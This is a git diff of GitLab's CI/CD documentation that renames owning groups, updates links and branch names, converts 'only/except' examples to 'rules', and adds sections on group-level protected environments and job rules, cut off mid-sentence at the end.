Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index deadc4458a2..c6fa049dc6e 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index cc6c629fb47..8c961ea6128 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, howto --- diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index dab9d8b78ae..e9725a29fc7 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/docker/README.md +++ b/doc/ci/docker/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/docker/index.md b/doc/ci/docker/index.md index 0897bb183e5..20599c5ca85 100644 --- a/doc/ci/docker/index.md +++ b/doc/ci/docker/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 90a33478239..9dac08324c8 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -25,9 +25,8 @@ To enable Docker commands for your CI/CD jobs, you can use: If you don't want to execute a runner in privileged mode, but want to use `docker build`, you can also [use kaniko](using_kaniko.md). -If you are using shared runners on GitLab.com, see -[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) -to learn more about how these runners are configured. +If you are using shared runners on GitLab.com, +[learn more about how these runners are configured](../runners/README.md). ### Use the shell executor @@ -91,7 +90,7 @@ The Docker image has all of the `docker` tools installed and can run the job script in context of the image in privileged mode. We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled), -which is supported by [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners). +which is supported by [GitLab.com shared runners](../runners/README.md). You should always specify a specific version of the image, like `docker:19.03.12`. If you use a tag like `docker:stable`, you have no control over which version is used. diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index 173701ef358..29f4053f720 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -128,6 +128,10 @@ For example, the following two definitions are equal: - name: redis:latest ``` +## Where scripts are executed + +When a CI job runs in a Docker container, the `before_script`, `script`, and `after_script` commands run in the `/builds/<project-path>/` directory. Your image may have a different default `WORKDIR` defined. To move to your `WORKDIR`, save the `WORKDIR` as an environment variable so you can reference it in the container during the job's runtime. + ### Available settings for `image` > Introduced in GitLab and GitLab Runner 9.4. diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 0344e736dd4..05769cc8f75 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -99,8 +99,8 @@ build: KANIKOCFG="${KANIKOCFG} }" echo "${KANIKOCFG}" > /kaniko/.docker/config.json - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile $KANIKOPROXYBUILDARGS --destination $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` ## Using a registry with a custom certificate @@ -133,7 +133,7 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build) Guided Exploration project pipeline. It was tested on: -- [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) +- [GitLab.com shared runners](../runners/README.md) - [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) The example can be copied to your own group or instance for testing. More details diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 72fd9833df1..4633cc1a3f8 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 6fda6bb0d8b..c57dc99f341 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -117,7 +117,7 @@ The other pipelines don't get the protected variable. You can also [scope variables to specific environments](../variables/where_variables_can_be_used.md#variables-with-an-environment-scope). We recommend that you use protected variables on protected environments to make sure that the secrets aren't exposed unintentionally. You can also define production secrets on the -[runner side](../runners/README.md#prevent-runners-from-revealing-sensitive-information). +[runner side](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). This prevents other maintainers from reading the secrets and makes sure that the runner only runs on protected branches. @@ -141,7 +141,7 @@ reference a file in another project with a completely different set of permissio In this scenario, the `gitlab-ci.yml` is publicly accessible, but can only be edited by users with appropriate permissions in the other project. -For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-path). +For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-file). ## Troubleshooting diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index 4ee9aa9a5ba..a89bc1c89aa 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -20,8 +20,8 @@ see which pipelines are green and which are red allowing you to diagnose if there is a block at a particular point, or if there's a more systemic problem you need to investigate. -You can access the dashboard from the top bar by clicking -**More > Environments**. +You can access the dashboard on the top bar by selecting +**Menu > Environments**.  diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 06618a820db..62c58302886 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -31,7 +31,7 @@ Prerequisites: To view a list of environments and deployments: -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. The environments are displayed.  @@ -57,7 +57,7 @@ You can create an environment and deployment in the UI or in your `.gitlab-ci.ym In the UI: -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select **New environment**. 1. Enter a name and external URL. 1. Select **Save**. @@ -99,10 +99,10 @@ deploy_review: environment: name: review/$CI_COMMIT_REF_NAME url: https://$CI_ENVIRONMENT_SLUG.example.com - only: - - branches - except: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + when: never + - if: $CI_COMMIT_BRANCH ``` In this example: @@ -136,7 +136,7 @@ you can use tiers: | Environment tier | Environment name examples | |------------------|----------------------------------------------------| | `production` | Production, Live | -| `staging` | Staging, Model, Pre, Demo | +| `staging` | Staging, Model, Demo | | `testing` | Test, QC | | `development` | Dev, [Review apps](../review_apps/index.md), Trunk | | `other` | | @@ -158,8 +158,8 @@ deploy_prod: name: production url: https://example.com when: manual - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` The `when: manual` action: @@ -200,8 +200,8 @@ deploy: url: https://example.com kubernetes: namespace: production - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` When you use the GitLab Kubernetes integration to deploy to a Kubernetes cluster, @@ -326,7 +326,7 @@ If there is a problem with a deployment, you can retry it or roll it back. To retry or rollback a deployment: -1. Go to the project's **Operations > Environments**. +1. Go to the project's **Deployments > Environments**. 1. Select the environment. 1. To the right of the deployment name: - To retry a deployment, select **Re-deploy to environment**. @@ -409,7 +409,7 @@ The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run if it's in a later stage than the job that started the environment. If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md), -set the [`GIT_STRATEGY`](../runners/README.md#git-strategy) to `none` in the +set the [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) to `none` in the `stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't try to check out the code after the branch is deleted. @@ -465,7 +465,7 @@ GitLab automatically triggers the `stop_review_app` job to stop the environment. You can view a deployment's expiration date in the GitLab UI. -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select the name of the deployment. In the top left, next to the environment name, the expiration date is displayed. @@ -474,7 +474,7 @@ In the top left, next to the environment name, the expiration date is displayed. You can manually override a deployment's expiration date. -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select the deployment name. 1. On the top right, select the thumbtack (**{thumbtack}**). @@ -491,7 +491,7 @@ You can delete [stopped environments](#stopping-an-environment) in the GitLab UI To delete a stopped environment in the GitLab UI: -1. Go to the project's **Operations > Environments** page. +1. Go to the project's **Deployments > Environments** page. 1. Select the **Stopped** tab. 1. Next to the environment you want to delete, select **Delete environment**. 1. On the confirmation dialog box, select **Delete environment**. diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index df0bb2817ab..c276059cb9e 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -23,8 +23,8 @@ with the right privileges can deploy to it, thus keeping it safe. NOTE: A GitLab admin is always allowed to use environments, even if they are protected. -To protect, update, or unprotect an environment, you need to have at least -[Maintainer permissions](../../user/permissions.md). +To protect, update, or unprotect an environment, you need to have at least the +[Maintainer role](../../user/permissions.md). ## Protecting environments @@ -79,7 +79,8 @@ Alternatively, you can use the API to protect an environment: 1. Use the API to add a user to the group as a reporter: ```shell - $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members" + $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members" {"id":3222377,"name":"Sean Carroll","username":"sfcarroll","state":"active","avatar_url":"https://assets.gitlab-static.net/uploads/-/system/user/avatar/3222377/avatar.png","web_url":"https://gitlab.com/sfcarroll","access_level":20,"created_at":"2020-10-26T17:37:50.309Z","expires_at":null} ``` @@ -87,7 +88,8 @@ Alternatively, you can use the API to protect an environment: 1. Use the API to add the group to the project as a reporter: ```shell - $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --request POST "https://gitlab.com/api/v4/projects/22034114/share?group_id=9899826&group_access=20" + $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --request POST "https://gitlab.com/api/v4/projects/22034114/share?group_id=9899826&group_access=20" {"id":1233335,"project_id":22034114,"group_id":9899826,"group_access":20,"expires_at":null} ``` @@ -95,7 +97,8 @@ Alternatively, you can use the API to protect an environment: 1. Use the API to add the group with protected environment access: ```shell - curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/22034114/protected_environments" + curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/22034114/protected_environments" ``` The group now has access and can be seen in the UI. @@ -151,6 +154,129 @@ be re-entered if the environment is re-protected. For more information, see [Deployment safety](deployment_safety.md). +## Group-level protected environments + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215888) in [GitLab Premium](https://about.gitlab.com/pricing/) 14.0. +> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-group-level-protected-environments). **(FREE SELF)** + +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](../../user/feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. + +Typically, large enterprise organizations have an explicit permission boundary +between [developers and operators](https://about.gitlab.com/topics/devops/). +Developers build and test their code, and operators deploy and monitor the +application. With group-level protected environments, the permission of each +group is carefully configured in order to prevent unauthorized access and +maintain proper separation of duty. Group-level protected environments +extend the [project-level protected environments](#protecting-environments) +to the group-level. + +The permissions of deployments can be illustrated in the following table: + +| Environment | Developer | Operator | Category | +|-------------|------------|----------|----------| +| Development | Allowed | Allowed | Lower environment | +| Testing | Allowed | Allowed | Lower environment | +| Staging | Disallowed | Allowed | Higher environment | +| Production | Disallowed | Allowed | Higher environment | + +_(Reference: [Deployment environments on Wikipedia](https://en.wikipedia.org/wiki/Deployment_environment))_ + +### Group-level protected environments names + +Contrary to project-level protected environments, group-level protected +environments use the [deployment tier](index.md#deployment-tier-of-environments) +as their name. + +A group may consist of many project environments that have unique names. +For example, Project-A has a `gprd` environment and Project-B has a `Production` +environment, so protecting a specific environment name doesn't scale well. +By using deployment tiers, both are recognized as `production` deployment tier +and are protected at the same time. + +### Configure group-level memberships + +In an enterprise organization, with thousands of projects under a single group, +ensuring that all of the [project-level protected environments](#protecting-environments) +are properly configured is not a scalable solution. For example, a developer +might gain privileged access to a higher environment when they are added as a +maintainer to a new project. Group-level protected environments can be a solution +in this situation. + +To maximize the effectiveness of group-level protected environments, +[group-level memberships](../../user/group/index.md) must be correctly +configured: + +- Operators should be assigned the [maintainer role](../../user/permissions.md) + (or above) to the top-level group. They can maintain CI/CD configurations for + the higher environments (such as production) in the group-level settings page, + wnich includes group-level protected environments, + [group-level runners](../runners/runners_scope.md#group-runners), + [group-level clusters](../../user/group/clusters/index.md), etc. Those + configurations are inherited to the child projects as read-only entries. + This ensures that only operators can configure the organization-wide + deployment ruleset. +- Developers should be assigned the [developer role](../../user/permissions.md) + (or below) at the top-level group, or explicitly assigned to a child project + as maintainers. They do *NOT* have access to the CI/CD configurations in the + top-level group, so operators can ensure that the critical configuration won't + be accidentally changed by the developers. +- For sub-groups and child projects: + - Regarding [sub-groups](../../user/group/subgroups/index.md), if a higher + group has configured the group-level protected environment, the lower groups + cannot override it. + - [Project-level protected environments](#protecting-environments) can be + combined with the group-level setting. If both group-level and project-level + environment configurations exist, the user must be allowed in **both** + rulesets in order to run a deployment job. + - Within a project or a sub-group of the top-level group, developers can be + safely assigned the Maintainer role to tune their lower environments (such + as `testing`). + +Having this configuration in place: + +- If a user is about to run a deployment job in a project and allowed to deploy + to the environment, the deployment job proceeds. +- If a user is about to run a deployment job in a project but disallowed to + deploy to the environment, the deployment job fails with an error message. + +### Protect a group-level environment + +To protect a group-level environment: + +1. Make sure your environments have the correct + [`deployment_tier`](index.md#deployment-tier-of-environments) defined in + `gitlab-ci.yml`. +1. Configure the group-level protected environments via the + [REST API](../../api/group_protected_environments.md). + +NOTE: +Configuration [via the UI](https://gitlab.com/gitlab-org/gitlab/-/issues/325249) +is scheduled for a later release. + +### Enable or disable Group-level protected environments **(FREE SELF)** + +Group-level protected environments is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:group_level_protected_environments) +``` + +To disable it: + +```ruby +Feature.disable(:group_level_protected_environments) +``` + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 3238b062752..90273190697 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index @@ -56,7 +56,7 @@ separate example projects: ## CI/CD templates Get started with GitLab CI/CD and your favorite programming language or framework by using a -`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). When you create a `gitlab-ci.yml` file in the UI, you can choose one of these templates: @@ -99,7 +99,7 @@ choose one of these templates: If a programming language or framework template is not in this list, you can contribute one. To create a template, submit a merge request -to [the templates list](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). ### Adding templates to your GitLab installation **(PREMIUM SELF)** diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index 40ba7cff5f9..fc1e06e91c6 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -50,6 +50,7 @@ The JWT's payload looks like this: "user_login": "myuser" # GitLab @username "user_email": "myuser@example.com", # Email of the user executing the job "pipeline_id": "1212", # + "pipeline_source": "web", # Pipeline source, see: https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules "job_id": "1212", # "ref": "auto-deploy-2020-04-01", # Git ref for this job "ref_type": "branch", # Git ref type, branch or tag @@ -202,6 +203,10 @@ read_secrets: - export PASSWORD="$(vault kv get -field=password secret/myproject/production/db)" ``` +NOTE: +If you're using a Vault instance provided by HashiCorp Cloud Platform, +you need to export the `VAULT_NAMESPACE` variable. Its default value is `admin`. +  The following job is able to authenticate using the `myproject-production` role and read secrets under `/secret/myproject/production/`: diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 5a5e44c03bf..5f08f2954f5 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/articles/laravel_with_gitlab_and_envoy/index.html' author: Mehran Rasulian @@ -78,7 +78,7 @@ git init git remote add origin git@gitlab.example.com:<USERNAME>/laravel-sample.git git add . git commit -m 'Initial Commit' -git push -u origin master +git push -u origin main ``` ## Configure the production server @@ -260,7 +260,7 @@ Let's create these three tasks one by one. #### Clone the repository -The first task will create the `releases` directory (if it doesn't exist), and then clone the `master` branch of the repository (by default) into the new release directory, given by the `$new_release_dir` variable. +The first task will create the `releases` directory (if it doesn't exist), and then clone the `main` branch of the repository (by default) into the new release directory, given by the `$new_release_dir` variable. The `releases` directory will hold all our deployments: ```php @@ -378,14 +378,14 @@ These are persistent data and will be shared to every new release. Now, we would need to deploy our app by running `envoy run deploy`, but it won't be necessary since GitLab can handle that for us with CI's [environments](../../environments/index.md), which will be described [later](#setting-up-gitlab-cicd) in this tutorial. -Now it's time to commit [Envoy.blade.php](https://gitlab.com/mehranrasulian/laravel-sample/blob/master/Envoy.blade.php) and push it to the `master` branch. -To keep things simple, we commit directly to `master`, without using [feature-branches](../../../topics/gitlab_flow.md#github-flow-as-a-simpler-alternative) since collaboration is beyond the scope of this tutorial. +Now it's time to commit [Envoy.blade.php](https://gitlab.com/mehranrasulian/laravel-sample/blob/master/Envoy.blade.php) and push it to the `main` branch. +To keep things simple, we commit directly to `main`, without using [feature-branches](../../../topics/gitlab_flow.md#github-flow-as-a-simpler-alternative) since collaboration is beyond the scope of this tutorial. In a real world project, teams may use [Issue Tracker](../../../user/project/issues/index.md) and [Merge Requests](../../../user/project/merge_requests/index.md) to move their code across branches: ```shell git add Envoy.blade.php git commit -m 'Add Envoy' -git push origin master +git push origin main ``` ## Continuous Integration with GitLab @@ -474,7 +474,7 @@ Let's commit the `Dockerfile` file. ```shell git add Dockerfile git commit -m 'Add Dockerfile' -git push origin master +git push origin main ``` ### Setting up GitLab CI/CD @@ -523,7 +523,7 @@ deploy_production: url: http://192.168.1.1 when: manual only: - - master + - main ``` That's a lot to take in, isn't it? Let's run through it step by step. @@ -595,7 +595,7 @@ If the SSH keys have added successfully, we can run Envoy. As mentioned before, GitLab supports [Continuous Delivery](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) methods as well. The [environment](../../yaml/README.md#environment) keyword tells GitLab that this job deploys to the `production` environment. The `url` keyword is used to generate a link to our application on the GitLab Environments page. -The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `master` branch. +The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `main` branch. Lastly, `when: manual` is used to turn the job from running automatically to a manual action. ```yaml @@ -616,7 +616,7 @@ deploy_production: url: http://192.168.1.1 when: manual only: - - master + - main ``` You may also want to add another job for [staging environment](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/), to final test your application before deploying to production. @@ -624,7 +624,7 @@ You may also want to add another job for [staging environment](https://about.git ### Turn on GitLab CI/CD We have prepared everything we need to test and deploy our app with GitLab CI/CD. -To do that, commit and push `.gitlab-ci.yml` to the `master` branch. It will trigger a pipeline, which you can watch live under your project's **Pipelines**. +To do that, commit and push `.gitlab-ci.yml` to the `main` branch. It will trigger a pipeline, which you can watch live under your project's **Pipelines**.  diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 53014585f2e..fc639b19ca0 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index 4a6555a58a6..94cfb8c1c58 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -1,5 +1,6 @@ --- redirect_to: 'README.md#contributed-examples' +remove_date: '2021-06-01' --- This document was moved to [another location](README.md#contributed-examples). diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index 4a6555a58a6..94cfb8c1c58 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -1,5 +1,6 @@ --- redirect_to: 'README.md#contributed-examples' +remove_date: '2021-06-01' --- This document was moved to [another location](README.md#contributed-examples). diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md index 8aa1fb21275..cb4040212ad 100644 --- a/doc/ci/examples/test-clojure-application.md +++ b/doc/ci/examples/test-clojure-application.md @@ -1,5 +1,6 @@ --- redirect_to: 'README.md#contributed-examples' +remove_date: '2021-05-26' --- This document was moved to [another location](README.md#contributed-examples). diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index 01df4f63c92..f0ea5ed582c 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -53,7 +53,7 @@ To make submodules work correctly in CI/CD jobs: 1. Make sure you use [relative URLs](#configure-the-gitmodules-file) for submodules located in the same GitLab server. 1. You can set the `GIT_SUBMODULE_STRATEGY` variable to either `normal` or `recursive` - to tell the runner to [fetch your submodules before the job](runners/README.md#git-submodule-strategy): + to tell the runner to [fetch your submodules before the job](runners/configure_runners.md#git-submodule-strategy): ```yaml variables: diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index 1aa86e0b322..cbf92438488 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -16,7 +16,7 @@ is deployed, some [security precautions](../../administration/integration/termin taken to protect the users. NOTE: -[Shared runners on GitLab.com](../runners/README.md#shared-runners) do not +[Shared runners on GitLab.com](../runners/README.md) do not provide an interactive web terminal. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on adding support. For groups and projects hosted on GitLab.com, interactive web diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index 307dcdf258c..780c5cd7762 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "An overview of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD." type: concepts diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index a20fa1f8aa9..7a57d8abf0d 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -29,7 +29,7 @@ jobs, where each of the jobs executes a different command. Of course a command can execute code directly (`./configure;make;make install`) or run a script (`test.sh`) in the repository. -Jobs are picked up by [runners](../runners/README.md) and executed within the +Jobs are picked up by [runners](../runners/README.md) and executed in the environment of the runner. What is important is that each job is run independently from each other. @@ -136,7 +136,7 @@ In the pipeline, the result is a group named `build ruby` with three jobs: The jobs are ordered by comparing the numbers from left to right. You usually want the first number to be the index and the second number to be the total. -[This regular expression](https://gitlab.com/gitlab-org/gitlab/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99) +[This regular expression](https://gitlab.com/gitlab-org/gitlab/-/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99) evaluates the job names: `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`. One or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences are removed from the **end** of job names only. Matching substrings found at the beginning or in the middle of diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md index 6e9197c223b..d7e192bbfda 100644 --- a/doc/ci/jobs/job_control.md +++ b/doc/ci/jobs/job_control.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -19,6 +19,277 @@ To configure a job to be included or excluded from certain pipelines, you can us Use [`needs`](../yaml/README.md#needs) to configure a job to run as soon as the earlier jobs it depends on finish running. +## Specify when jobs run with `rules` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3. + +Use [`rules`](../yaml/README.md#rules) to include or exclude jobs in pipelines. + +Rules are evaluated in order until the first match. When a match is found, the job +is either included or excluded from the pipeline, depending on the configuration. +See the [`rules`](../yaml/README.md#rules) reference for more details. + +Future keyword improvements are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783), +where anyone can add suggestions or requests. + +### `rules` examples + +The following example uses `if` to define that the job runs in only two specific cases: + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + when: manual + allow_failure: true + - if: '$CI_PIPELINE_SOURCE == "schedule"' +``` + +- If the pipeline is for a merge request, the first rule matches, and the job + is added to the [merge request pipeline](../merge_request_pipelines/index.md) + with attributes of: + - `when: manual` (manual job) + - `allow_failure: true` (the pipeline continues running even if the manual job is not run) +- If the pipeline is **not** for a merge request, the first rule doesn't match, and the + second rule is evaluated. +- If the pipeline is a scheduled pipeline, the second rule matches, and the job + is added to the scheduled pipeline. No attributes were defined, so it is added + with: + - `when: on_success` (default) + - `allow_failure: false` (default) +- In **all other cases**, no rules match, so the job is **not** added to any other pipeline. + +Alternatively, you can define a set of rules to exclude jobs in a 